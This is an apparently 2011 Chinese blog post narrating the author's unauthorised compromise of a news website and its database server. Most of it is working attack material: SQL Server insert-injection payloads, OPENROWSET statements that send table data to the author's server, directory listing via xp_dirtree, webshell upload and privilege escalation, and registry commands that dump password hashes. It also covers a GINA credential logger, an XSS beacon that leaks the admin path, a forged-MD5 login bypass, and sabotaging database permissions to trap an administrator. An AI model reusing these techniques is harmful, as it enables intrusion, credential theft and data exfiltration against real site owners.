【渗透过程】...记一思路与社工学

一个新闻站点。全部都是HTML的静态页面,估计又是类似CMS的程序吧,只有后台是动态的,前台全部都是生成的静态页面。于是抄起WWWSCAN开始扫目录,看看能不能扫出个上传点什么的,因为字典比较多,WWWSCAN扫的时间比较长,所以我同时开始在GOOGLE上面查找注射点。利用site:www.xxxxxx.com inurl:asp ,来查找所有的ASP文件,然后一个一个去测试。测试过程中,发现整站用到了防注入程序,而且有的地方单独用到了isnumeric之类的函数进行了判断。经过长时间的手工检测,终于在一个新闻评论页面,找到了一个insert射点。在发表评论的地方,输入一个单引号“’”,报错了.

从报错信息可以得知为SQL SERVER数据库。

输入两个单引号“’’”:

页面返回正常,这里很可能是一个射点。

经过测试,发现下面的语句可以成功注入:

“’,1,1,1)–sp_password”

在文本框中输入上面的语句,评论成功发出,没有出错。确定这是一个射点。但由于是insert注射,利用起来比较恶心,因为values子句里面不允许任何的select,所以要想暴出数据,只能用OPENROWSET之类的手法将数据回传到本地了。这是后话,注射之前我们需要先确定SQL SERVER的版本,当前用户的权限,当前数据库名,以及是否站库分离了。

依次提交下面的语句:

  1. ’,cast(@@version as int),1,1)– sp_password”,得到版本信息 “Microsoft SQL Server 2000 – 8.00.2039 (Intel X86) May 3 2005 23:18:38 Copyright (c) 1988-2003 Microsoft Corporation Enterprise Edition on Windows NT 5.2 (Build 3790: Service Pack 2)”,数据库为SQL SERVER 2K
  2. ’,cast(system_user as int),1,1)– sp_password”,得到当前数据库的连接用户名“myxxxxxxer”,不是SA呵呵。
  3. ’,cast(ltrim(is_srvrolemember(‘sysadmin’))+’a’ as int),1,1)–sp_password”,返回“将 varchar 值 ’0a’ 转换为数据类型为 int 的列时发生语法错误”,说明当前用户不是sysadmin角色组成员。
  4. ’,cast(ltrim(is_member(‘db_owner’))+’a’ as int),1,1)–sp_password”,返回“将 varchar 值 ’0a’ 转换为数据类型为 int 的列时发生语法错误”,也不是db_owner角色组成员,郁闷了,看来是PUBLIC。
  5. ’,cast(ltrim(is_member(‘public’))+’a’ as int),1,1)–sp_password”,返回“将 varchar 值 ’1a’ 转换为数据类型为 int 的列时发生语法错误。”,看来权限只是PUBLIC。
  6. ’,cast(@@servername+’|'+host_name() as int),1,1)–sp_password”,返回“将 nvarchar 值 ‘GNRB-ZGGZW|XXXXXX’ 转换为数据类型为 int 的列时发生语法错误”,还是站库分离的。
  7. ’,cast(db_name() as int),1,1)–sp_password”,得知数据库名为“365NEWS”

现在的情况就是一个PUBLIC权限的2K数据库射点,而且站库分离。先想到的就是OPENROWSET转发回数据然后进后台拿WEBSHELL

这时WWWSCAN也已经扫描完成了,但很郁闷的是没有扫到后台地址。汗了。先不管它了,先看看数据库里面的数据,没准表里面会保存着一些地址呢。

先看看数据库能否连接外网,在本地用NC监听一下80端口,然后在射点执行:“’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx,80′;’xxx’;'xxx’,'SELECT 1′) select 1–sp_password

马上NC有反应了,同时也拿到了数据库服务器的IP。

于是在本地架好一个SQL SERVER,然后在本地的PUBS库里面先执行下面的语句,来创建一个表,此表用于接收服务器回传回来的数据:

Create table op (value varchar(8000))

然后在射点提交:

’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select name from sysobjects where xtype=’u'–sp_password

再在本地select * from op,得到了库里面所有的表名。值得关注的是admin adminmsg users这三个表,其它表里面全是一些没用的数据。

再提交

’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select [name] from syscolumns where id = object_id(‘admin’)–sp_password

并用类似的方法得到了admin adminmsg users这三个表的所有字段名。

再提交

’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select [username]+’|’+[password] from admin–sp_password

用类似的方法得到了admin 与 users表里面的值,全都是账号密码,但是现在它们也没有什么作用,因为没有后台,而且密码MD5加密的,好多都破不开。

如何查找后台是一个问题,这里的adminmsg是一个值得注意的表从表名就可以看出来,这里面保存的应该是管理员发送的消息,应该是后台有一个用于管理人员交流的功能,所有的消息都会存在这个表里面。

里面没准会有一些敏感的东西呢?

先利用

’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;'test’;’123456′,’SELECT [value] FROM pubs..op’) select count(*) from adminmsg–sp_password

查看了一下消息的条数,有一千多条啊,这要全发回来脚本可能会执行超时的。

于是LIKE进行模糊查询,提交

’,1,1,1);insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;’test’;’123456’,’SELECT [value] FROM

pubs..op’) select top 100 cast(msgContent as varchar(8000)) from adminmsg where msgContent like

‘%后台地址%’–

然后不停地变换查询关键字,从adminmsg表里面获取敏感数据,尝试了“后台”,“密码”,“admin”,“login.asp”,“upfile”,“upload”等关键字,确实从此表里面获取了一些数据,如下图:

查出来了一些后台管理地址,但这些地址,全是分站的,而且大多要么已经失效,要么就是进去后什么功能都没有的那种。这下郁闷了呃。

直接入主站不行,那看看能不能拿下数据库服务器吧,刚才在数据回发的时候已经拿到库服务器的IP了,NMAP扫了一下发现开了80,拿到查旁注的站上去查,发现一个分站就位于数据库服务器上。先拿下这个分站的SHELL再说

先在本地的PUBS库里面执行

create table dir(n varchar(200),d int,f int);

提交下面的语句开始列目录 ,想看看有没有分站上有没有什么可以利用的文件:

’,1,1,1);create table #dir(n varchar(200),d int,f int);insert into #dir exec master..xp_dirtree

‘c:\’,1,1;insert into OPENROWSET(‘SQLOLEDB’,’222.35.xxx.xx’;’test’;’123456’,’SELECT * FROM

pubs..dir’) select * from #dir;drop table #dir–sp_password

列了老半天,总算找到了一个ASP格式的ACCESS数据库,然后找到一个对数据库进行写操作的页面,写了一句话进去 ,成功拿到WEBSHELL,提权比较简单,进去后直接360EXP,拿到了服务器:

拿到数据库服务器以后才发现跟主站不是同一网段,想嗅探都不成了。

于是乎先收集一下库服务器上的信息。

服务器上面装了PCANYWHERE,找到了两个CIF文件,得到了两个密码,而且貌似主站也开了PCANYWHERE的,试了一下,用其中一个CIF的密码成功连上,但是主站服务器处于锁定状态,没办法。

继续在库服务器上收集信息。但是这服务器好像比较干净啊,除了一大把ASP跟HTML外,其它的什么都没有。

服务器上面装了MCAFEE了,上传PWDUMP之类的东西全都被杀了,MCAFEE没有密码也停不掉。

只能手动抓HASH了,利用下面的代码:

reg save hklm\sam sam.hive

reg save hklm\system system.hive

reg save hklm\security security.hive

导出了注册表中的HASH信息,然后将这三个文件下载回了本地,导入CAIN,得到了库服务器上的HASH:

但是几个管理员组的账号的HASH全部都是ADD3,破解不了啊。得到了其它几个账号的明文密码,再结合数据库里面保存的一些后台密码,再去尝试登陆主站的服务器,结果仍然是失败。

只能种个GINA然后等管理员登陆了,由于MCAFEE的原因,手上的GINA不是被杀,就是其它的原因而种不上。最后在论坛里面找到了LZX写的一个GINA,成功种上去了。然后静静地等管理员登陆。

结果等了四五天都不见登陆,我给他们发邮件提醒他们服务器被入侵了,他们都不搭理,我汗。

于是我连上库服务器的SQL SERVER,把admin 与 users这两个表的所有用户的select权限与update权限都给他去掉了。如下图:

这下主站后台应该就不能登陆了吧, 想登陆你们就上服务器来找原因吧。

这招果然有效呵呵,等了大概有三四个小时吧,管理员登陆了服务器,成功记到了一个22位的纯数字密码,是两个手机号的组合。拿着这个两个手机号再次冲向主站服务器,又失败了。变换着跟以前的那些密码组合了一下,还是不行。 思路到这里就卡住了,不知道该怎么继续了。

就这样大概过了有十几天吧,还是决定再看看。

这时新的思路又有了,其实只要找到了主站的后台,会比现在好办很多,关键是后台怎么找呢。

我又想到了那个adminmsg表,这个表是用于保存后台人员交流的信息的。

如果后台没有对XSS进行有效的防御的话会如何呢?我们是不是可以通过在这个表里面插入XSS代码,来得到后台的地址?试试就知道了

先新建一个ASP文件,代码如下:

<%@LANGUAGE=”VBSCRIPT” CODEPAGE=”65001″%>

<%

dim fso,mytextfile

set fso =Server.CreateObject(“Scripting.FileSystemObject”)

set mytextfile=fso.opentextfile(server.mappath(“result.txt”),8,true)

mytextfile.WriteLine  “referer:” & request.ServerVariables(“HTTP_REFERER”)

mytextfile.close

%>

代码的主要作用就是将REFERER记录到result.txt文件里面。

将此ASP保存为ref.asp并上传到自己的空间里,然后向adminmsg表里面插 入一条消息,内容就是:

<img src=”http://www.xx.com/ref.asp” style=”display:none”/>

然后就是等了。。

过了大概两三个小时吧,result.txt里面有记录了:

HOHO,记到地址喽。直接访问这个记录到的地址,并没有像我相像中的那样提示权限不足然后跳转到登陆页面,它是直接跳回网站的主页了,汗。

但是我们知道了后台目录为 /news/SYSOP/,拿这个目录放到WWWSCAN里面去扫后台的登陆页面。

还是没有扫出来,只扫到chklogin.asp与md5.asp跟几个无关的图片目录。chklogin.asp,这个应该是验证登陆的页面。

实际上有没有登陆页面无所谓了,那只是一个表单而已,我们也可以自己构造的,主要是有了这个验证登陆的页面,这就好办多了。

先禁用掉FIREFOX里面的JAVASCRIPT,然后直接访问chklogin.asp,查看源代码,里面提示让输入管理账号,管理密码,并提示用户名不存在 ,后面直接提示登陆成功。我们还看到了一个main.asp,直接访问main.asp,还是跳回了网站的首页。

从上面这段chklogin.asp 的源代码里面,可以大概猜出,代码是这样写的:

if isempty(username) then

response.write “请输入管理账号”

end if

if isempty(password) then

response.write “请输入管理密码”

end if

rs.open “select xxxx from admin where username =’” & username &”‘”

if rs.eof then

response.write “此用户名不存在”

else

if md5(password) = rs(“password”) then

‘登陆成功

else

‘密码错误

end if

end if

(我不大会ASP,大概按瞎的写的。)

可以看到,在一项验证失败以后,只是做了提示,并没有进行response.end操作。

再提交chklogin.asp?username=a

再看源代码,发现“请输入管理账号”这个提示没有了,说明我们用户名参数猜对了,再来猜密码参数的名字。

提交:chklogin.asp?username=a&password=b

发现还是提示“请输入管理密码”,说明密码参数名字不对,然后一直试这个名字,最后用WVS的HTTP FUZZER配合我平时收集的数据库列名,来爆破这个参数名字,如下图:

大概穷举了300多个名字,仍然是没有暴破出来,变态啊。

再次回到那个chklogin.asp页面,根据我们上面猜测出来的代码,这个页面应该是先取得username参数,然后到表里面去查有没有指定的后台用户,如果有的话,再进行密码比较,如果没有的话,则提示用户名不存在。

而且从WWWSCAN扫出来的MD5.ASP这个页面,我们可以知道 ,密码应该用的是MD5加密存在数据库里面了。

现在数据库在我手上,我知道库里面有一个名为salen的用户,这时如果我提交:

Chklogin.asp?username=salen

这时它应该提示“请输入管理密码”,但是注意,在提示完以后,代码还是会往下执行的,因为没有response.end,所以接着执行了下面的查询,成功查询出了salen这条数据,然后会执行下面的

if md5(password) = rs(“password”) then 比较,因为我们没有提交password参数,所以这里的比较肯定是失败的。

但是,我特意从网上下载了一下md5.asp,然后在本地写了一个文件测试了一下,代码如下,保存为test.asp:

<%

Response.write md5(request(“a”))

%>

将a参数进行md5加密,这时我访问test.asp,不加a这个参数,结果输出的md5值为:8f00b204e9800998

再回到chklogin.asp,因为我们在访问chklogin.asp的时候没有传密码这个参数,所以md5(password)计算出来的值肯定也是8f00b204e9800998 ,这时我们只要让数据库里面salen这个用户的密码MD5也是这个值不就可以成功登陆了么?

试了一下,将salen这个用户的MD5改成了8f00b204e9800998

然后直接访问:

Chklogin.asp?username=salen

这时它仍然会提示请输入管理密码,不要管它,直接访问main.asp,成功:

总算进到主站的后台了,登陆进去后马上又将salen的md5给他还原了。

在后台里面转悠,找拿SHELL的方法。

发现一个上传的页面,右键看了一下源代码:

发现可以自定义保存路径的,这下拿SHELL应该不成问题了,\0截断,传了一个SHELL上去,这里就不废话了。

拿到SHELL后看了一下chklogin.asp的代码,果然跟我猜的差不多。

本来还想提权的,结果发现权限限制的比较死,我是提不上去了,就这么算了吧。

posted @ 2011-04-29 01:41  WHaa_(T_T)  阅读(601)  评论(1编辑  收藏  举报